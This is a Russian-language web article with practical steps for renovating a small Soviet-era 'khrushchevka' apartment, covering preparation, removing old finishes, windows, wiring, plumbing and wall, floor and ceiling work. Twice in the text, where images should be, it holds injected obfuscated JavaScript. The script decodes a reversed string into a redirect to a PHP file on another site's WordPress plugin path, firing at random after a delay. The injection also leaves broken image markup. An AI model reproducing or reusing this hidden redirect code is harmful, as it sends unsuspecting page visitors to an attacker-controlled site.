Ремонт в хрущевке (39 фото): подготовительные работы, удаление прежней отделки, монтаж окон, коммуникаций, обшивка стен, пола и потолка

Возможен ли красивый ремонт в хрущевке? Да. Несмотря на то, что такие квартиры в своё время строились в качестве временного жилья, и обладают множеством связанных с этим недостатков, при умелом подходе и использовании современных отделочных технологий, и они превращаются в идеальные места для проживания. А о том, как достигнуть такого эффекта, мы и поговорим далее.

Правильный подход к обновлению интерьера творит чудеса

Общие положения

Прежде, чем приступить к выполнению ремонтных работ, необходимо трезво оценить все минусы и плюсы квартир данного типа, чтобы первые мастерски нейтрализовать, а вторые, наоборот, максимально выгодно использовать.

Недостатки

• Маленькая площадь кухни, которая может равняться 5-7 м2 в зависимости от временного периода возведения самой многоэтажки;

Совет: очень хорошо помогут сохранить столь ценные сантиметры маленькой комнаты раздвижные двери, так как в отличие от распашных не требуют дополнительного пространства для своего функционирования.

Раздвижная дверная система позволяет сэкономить полезное пространство

• Небольшая высота потолков, составляющая 248-270 см. Это значительно ограничивает возможности по его облицовке из-за опасения сделать помещения в квартире совсем низкими;

Совет: следует отказаться от таких вариантов отделки, как лепнина, фальшбалки, высокие багеты и двухуровневые конструкции из ГКЛ, так как такой декор «сожмёт» и без того маленькое пространство.

• Неудачное доставляющее определённые неудобства месторасположение коммуникаций на расстоянии 5-7 см от стены, что тоже потребует исправления;
• Низкие теплоизоляционные свойства внешних стен. Данная ситуация исправляется путём утепления фасада пенопластом или иным подходящим материалом;

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tom-snaruzhi.jpg» alt=»Утепление квартиры пенопластом снаружи» width=»350″ height=»219″ /> Утепление квартиры пенопластом снаружи

• Тонкие внутренние стены, толщина которых не превышает 40 см. При этом старые перегородки практически наверняка нуждаются в выравнивании, что также следует делать осторожно, дабы значительно не уменьшить свободную площадь. Лучше всего ограничиться нанесением финишной шпаклёвки или установкой тонкого листа из гипсокартона;
• Низкие изоляционные свойства пола. Холод, звуки и сырость легко проходят через половую конструкцию хрущёвки, поэтому обязательно следует усилить её;
• Подоконники либо очень узкие, либо и вовсе отсутствуют, следовательно, их также необходимо установить в процессе выполнения ремонтных работ.

Также ещё стоит упомянуть о таком атрибуте, как антресоли. А вот плюс это или минус уже зависит от ваших личных предпочтений.

Антресоли – миниатюрная кладовка

Достоинства

• Внутренние tona-dizajn-622″>перегородки хоть и тонкие, но зато очень прочные и практически не подвергаются деформационным процессам;
• Стена, отгораживающая кухню от гостиной, не является несущей, следовательно, её можно снести с целью увеличения полезного пространства;

Наглядный пример удаления перегородки между гостиной и кухней

Совет: обязательно перед ликвидацией стены согласуйте всё с ЖЭКом или ОСББ.
В противном случае у вас могут возникнуть в дальнейшем проблемы в связи с продажей квартиры: придётся восстанавливать перегородку заново, чтобы планировка соответствовала всем официальным документам.

• Большие и широкие окна заполняют комнаты светом и легко проветривают их. Особенным плюсом при этом является выход на солнечную сторону здания;

Оконный проём занимает практически всю стену

• Необходимость в относительно небольшом количестве отделочных материалов для осуществления даже капитального ремонта, ведь, как мы уже не раз выше отмечали, речь идёт о достаточно небольшой площади;

Пример планировки однокомнатной хрущёвки

• Возможность проявить в полной мере свои дизайнерские задатки и фантазию. С просторной квартирой это было бы гораздо сложнее сделать.

Наглядные примеры ремонта хрущевок

Приступаем к осуществлению ремонта

Ремонт квартиры в хрущевке начинается с подготовительных работ.

Этап №1: подготовительные работы

Первым делом необходимо предпринять следующие шаги:

1. Составить план и смету работ. Не пренебрегайте этим. Ещё до начала всего процесса вы точно должны знать, что и в какой момент вам делать;
2. В соответствии со сметой закупите все необходимые материалы. Частичные закупки могут растянуть ремонт на неопределённое количество времени. Также имеет смысл в перечень финансовых затрат сразу включить и оплату работы специалистов там, где собственноручно вы не справитесь;
3. Подготовить инструменты. Их количество и виды зависят от ваших планов, но некоторые принадлежности вам понадобятся в любом случае:

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tov-kotorye-vam-mogut-pon.jpg» alt=»Примерный набор инструментов, которые вам могут понадобиться при выполнении ремонтных работ» width=»500″ height=»233″ /> Примерный набор инструментов, которые вам могут понадобиться при выполнении ремонтных работ

Этап №2: удаление прежней отделки

Как правило, стены старой хрущёвки бывают оклеены обоями, а потолок побелен:

1. Освобождаем помещение от мебели;
2. Обильно смачиваем обои водой при помощи обычной губки или пульверизатора;
3. Даём покрытию разбухнуть от влаги и начать отслаиваться;
4. Снимаем всё при помощи шпателя;

Ремонт в гостиной хрущевке: удаление старых обоев

5. Затем снова при помощи губки или пульверизатора смываем побелку с потолка. Учтите, что воды при этом понадобится очень много;
6. Аналогично поступаем со всеми обновляемыми комнатами.

Этап №3: монтаж окон

Очень важный шаг, так как оконные проёмы в рассматриваемой квартирной планировке большие и, следовательно, в результате некачественной установки стеклопакетов это приведёт к колоссальным тепловым потерям.

Вот несколько основных рекомендаций, которые помогут вам не допустить ошибок:

1. Старую раму удаляем полностью и тщательно вычищаем после неё проём;

Ликвидация старого окна

2. Обрабатываем откосы грунтовкой;
3. На новую раму клеим влагозащитную и диффузионную ленты;
4. Сам монтаж стеклопакета осуществляем на предварительно обработанные антисептиком древесные колодки;

Ремонт спальни в хрущевке: монтаж новой оконной рамы

5. Все зазоры и щели заполняем строительной пеной;
6. Нижний стык также утепляем специальной металлизированной лентой.

Совет: не стоит прибегать к установке широкой подоконной доски.
В столь малом помещении она не только займёт лишнее пространство, но также и будет мешать естественной циркуляции воздуха.

Этап №4: монтаж коммуникаций

Здесь всё просто и сложно одновременно: менять надо все трубы и проводку, если вы хотите быть уверенны в том, что в вашей квартире не случится аварийная ситуация.

Вот основные положения по этой части:

1. Проводка. Электричество может быть очень опасным, это касается как самой возможности поражения электрическим током, так и возникновения по причине короткого замыкания пожара.
   Поэтому:

• Для каждого мощного бытового электрического прибора установите свою индивидуальную розетку;
• Чем больше нагрузка на провод, тем он должен быть толще, наиболее часто применяющееся сечение для жилых квартир – 2,5 мм2;

Провод с сечением 2,5 мм2

• Материалы приобретайте проверенных фирм, если не хотите, чтобы розеточный корпус попросту расплавился во время работы подключенного компьютера или телевизора;

2. Сантехника. Демонтируйте старый чугун и замените его новыми пластиковыми трубами, установка которых настолько проста, что с ней можно справиться даже самостоятельно при помощи специального трубного паяльника. Даже отопительную систему можно сделать из пропилена, но при этом следует остановиться на армированных изделиях, способных выдерживать высокие температуры.

Ремонт кухни в хрущевке: установка нового пластикового водоснабжения

Этап №5: стены, пол и потолки

Об этом этапе мы уже частично высказались, когда говорили о плюсах и минусах планировки рассматриваемого типа квартир.

Подытожим:

1. Стены аккуратно ровняем шпаклёвкой или тонким гипсокартонным листом, чтобы не уменьшить полезную площадь комнаты. Особенно это актуально, когда осуществляется ремонт в маленькой кухне в хрущевке. Тут, кстати, напомним о возможности удаления смежной стены с гостиной;
2. Пол лучше всего выровнять тонкой цементной стяжкой, это сразу же даст и хорошую влагоизоляцию;
3. Потолок наиболее рационально сделать натяжным. Да, такие модели стоят недёшево, но зато они не уменьшат высоту комнат и прослужат вам очень долго, не раз окупив себя.

Вывод

Несмотря на то, что хрущёвки пользуются дурной славой, их тоже можно превратить в желанное жильё. Главное правильно подойти к выполнению данной задачи.

Волшебство качественного ремонта в хрущёвке

Если у вас возникли дополнительные вопросы, то можете задать их в комментариях.

Фотогалерея